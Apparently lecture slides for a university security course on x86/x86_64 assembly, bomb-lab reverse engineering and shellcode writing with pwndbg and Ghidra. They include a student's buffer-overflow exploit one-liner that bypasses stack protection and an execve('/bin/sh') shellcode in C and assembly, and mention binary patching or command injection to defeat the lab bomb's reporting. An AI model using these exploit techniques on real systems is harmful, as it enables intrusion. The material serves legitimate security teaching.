Lec02: x86_64 / Shellcode / Tools

Taesoo Kim

Administrivia

- Please join Ed
- Optional recitations: M/W
- Lab02 is already out! (8am every Friday)
- Due: Sept 5th at midnight

About Write-up

1) Write-up:

In this problem, ebp and ret value are protected by gsstack. while debugging, you can see all ebp and ret values are keep tracking and storing somewhere. However, when you make an input large enough, you will see that a function pointer will be overwritten. And the overwritten value will be store in EAX and make it jump at <main+96>. I put my shellcode as env, get the address, and put it. In my case, the function pointer(0x08048b0a at 0xbffff654) was overwritten. So we could learn, we could jump using the weakpoint even though the stackshiled is working on.

2) Exploit:

```
$(python -c 'print "\x90"*108+"\x90"*44+"\x87\xf8\xff\xbf"+"\x90"*50')
```

Bomb Stats

- Bombs exploded ?? times in total?
- in ?? phases?
- ?? people exploded at least once?

Bomb Stats

- Bombs exploded 115 times (-575pt) in total
- in 9 phases
- 33 (55%) people exploded at least once!

```
Each phase is solved by  : 58/58/58/58/57/56/55/53/44/51 people
Each phase is exploded by: 20/15/14/04/04/06/06/03/00/03 people
Each phase is exploded   : 33/24/18/05/05/07/17/04/00/03 times
```

Discussion 0

1. What was your mistakes?

Discussion 1

1. How does the bomb notify the explosion to the server?

Discussion 1

1. How does the bomb notify the explosion to the server?

- How bomblab interacts with our submission server? (e.g., `strace` or `ltrace`)
- Structure: `phase_*` / `phase_defused()`
- Static tool like Ghidra or IDA

Discussion 2

1. How did you prevent bombs from explosion?

Discussion 2

1. How did you prevent bombs from explosion?

- Bypass or stop them in gdb
- Binary patch explode_bomb(), notify() or checkin() (i.e., `ret` immediately)
- Command injection

ASMs that you read in Lab1

- function calls (phase_funcall)
- switch: jump table (phase_jump)
- for/while loops (phase_quick)
- recursion (phase_binary)
- data structure: array/list/tree
- etc

ASM Show Case 1: funcall


```
push   0x804b96b              ; => "scissors"
push   0x804b974              ; => "paper"
push   0x804b97a              ; => "rock"
push   DWORD PTR [ebp+0x8]    ; => ????
call   8049d0b <func_game>
```

ASM Show Case 2: switch


```
        cmp    eax,0x7                                ; 8 cases
        ja     0x8049557 <phase_jump+147> ------+     ; default branch
        mov    eax,DWORD PTR [eax*4+0x804a710]  |     ;
     ** jmp    eax                              |
                                                |
<+75>:  mov    DWORD PTR [ebp-0xc],0x25b        |
        jmp    0x804955c <phase_jump+152>       |
<+84>:  mov    DWORD PTR [ebp-0xc],0x232        |
        jmp    0x804955c <phase_jump+152>       |
        ...                                     |
<+147>: call   0x8049152 <explode_bomb>   <=----+
        mov    eax,DWORD PTR [ebp-0x18]
```

ASM Show Case 2: switch


```
$ gdb-pwndbg ./bomb

pwndbg> telescope 0x804a710
00| 0x804a710→ phase_jump+75  ←mov dword ptr [ebp - 0xc], 0x25b
04| 0x804a714→ phase_jump+84  ←mov dword ptr [ebp - 0xc], 0x232
08| 0x804a718→ phase_jump+93  ←mov dword ptr [ebp - 0xc], 0x282
0c| 0x804a71c→ phase_jump+102 ←mov dword ptr [ebp - 0xc], 0x16c
10| 0x804a720→ phase_jump+111 ←mov dword ptr [ebp - 0xc], 0x2af
...
```

ASM Show Case 2: switch


```
1  switch(index) {
2    case 0: ...
3    case 1: ...
4    ...
5    case 7: ...
6    default ...
7  }
```

ASM Show Case 3: for/while loops


```
                mov    DWORD PTR [ebp-0x18],eax            ; p
                mov    DWORD PTR [ebp-0xc],0x0             ; count = 0
                jmp    0x8049f7c <phase_array+92> ----+    ;
                                                      |
        <+69>:  add    DWORD PTR [ebp-0xc],0x1   <=---|--+ ; count ++
                mov    eax,DWORD PTR [ebp-0x18]       |  | ;
                mov    eax,DWORD PTR [eax*4+0x804e5a0]|  | ; p = ((int
*)0x804e5a0)[p]
                mov    DWORD PTR [ebp-0x18],eax       |  |
                ...                                   |  |
        <+92>:  mov    eax,DWORD PTR [ebp-0x18]    <=-+  | ; p
                cmp    eax,0xf                           | ;
                jne    0x8049f65 <phase_array+69> -------+ ; while (p != 15)
```

ASM Show Case 3: for/while loops


```
1    count = 0;
2    while (p != 15) {
3      count++;
4      p = array[p];
5      ...
6    }
```

Lab02: Bomb Lab2 / Shellcode

- Another Bomblab (be extra careful this time)!
  - **Stripped! (no symbol)**
  - **x86 64-bit**
  - **Anti debugging**
- Writing five different shellcodes
  - x86, x86_64, both!, ascii, minimal size (mini competition)

Today's Tutorial

- x86 shellcode overview
- In-class tutorial, you will learn:
  - `pwndbg` : modernizing gdb for reverse engineering
  - Ghidra or IDA: an interactive decompiler
  - Walk over x86 shellcode (+ excercise!) and various tools

DEMO: pwndbg commands

- vmmap
- procinfo/elfheader
- telescope/hexdump
- context/stack/regs
- nearpc/pdisass
- search

shellcode (in C)

```c
#include <stdio.h>
#include <unistd.h>

int main() {
  char *sh = "/bin/sh";
  char *argv[] = {sh, NULL};
  char *envp[] = {NULL};
  execve(sh, argv, envp);
  return 0;
}
```

Syscall

- `man syscall` or system call table (x86)
  - `eax` : syscall number
  - `ebx` : 1st argument
  - `ecx` : 2nd argument
  - `edx` : 3rd argument

shellcode (in asm)

```
1  #include <sys/syscall.h>
2
3  #define STRING  "/bin/sh"
4  #define STRLEN  7
5  #define ARGV    (STRLEN+1)
6  #define ENVP    (ARGV+4)
7
8  main:
9    jmp     calladdr
10 popladdr:
11   ...
12
13 calladdr:
14   call    popladdr
15   .string STRING
```

shellcode (in asm)

```
1  popladdr:
2    pop    esi
3    mov    [ARGV + esi], esi
4    xor    eax, eax
5    mov    [STRLEN + esi], al
6    mov    [ENVP + esi], eax
7    ...
```

shellcode (in asm)

```
1  popladdr:
2    ...
3    mov    al, SYS_execve
4    mov    ebx, esi
5    lea    ecx, [ARGV + esi]
6    lea    edx, [ENVP + esi]
7    int    0x80
8
9    xor    ebx, ebx
10   mov    eax, ebx
11   inc    eax
12   int    0x80
```

Debug

- `target.c` : Shellcode loader
- Test

```
$ make test
$ (cat shellcode.bin; echo; cat) | strace ./target
```

- Debug

```
$ gdb-pwndbg ./target
```

In-class Tutorial

- Step 1: Play with pwndbg/ghidra
- Step 2: Tinkering the shellcode! (i.e., `/bin/cat /proc/flag`)

```
$ ssh lab02@54.88.195.85
Password: xxxxxxx

$ cd tut02-shellcode
$ cat README
```

References

- Assembly
- x86
- x86_64
- pwndbg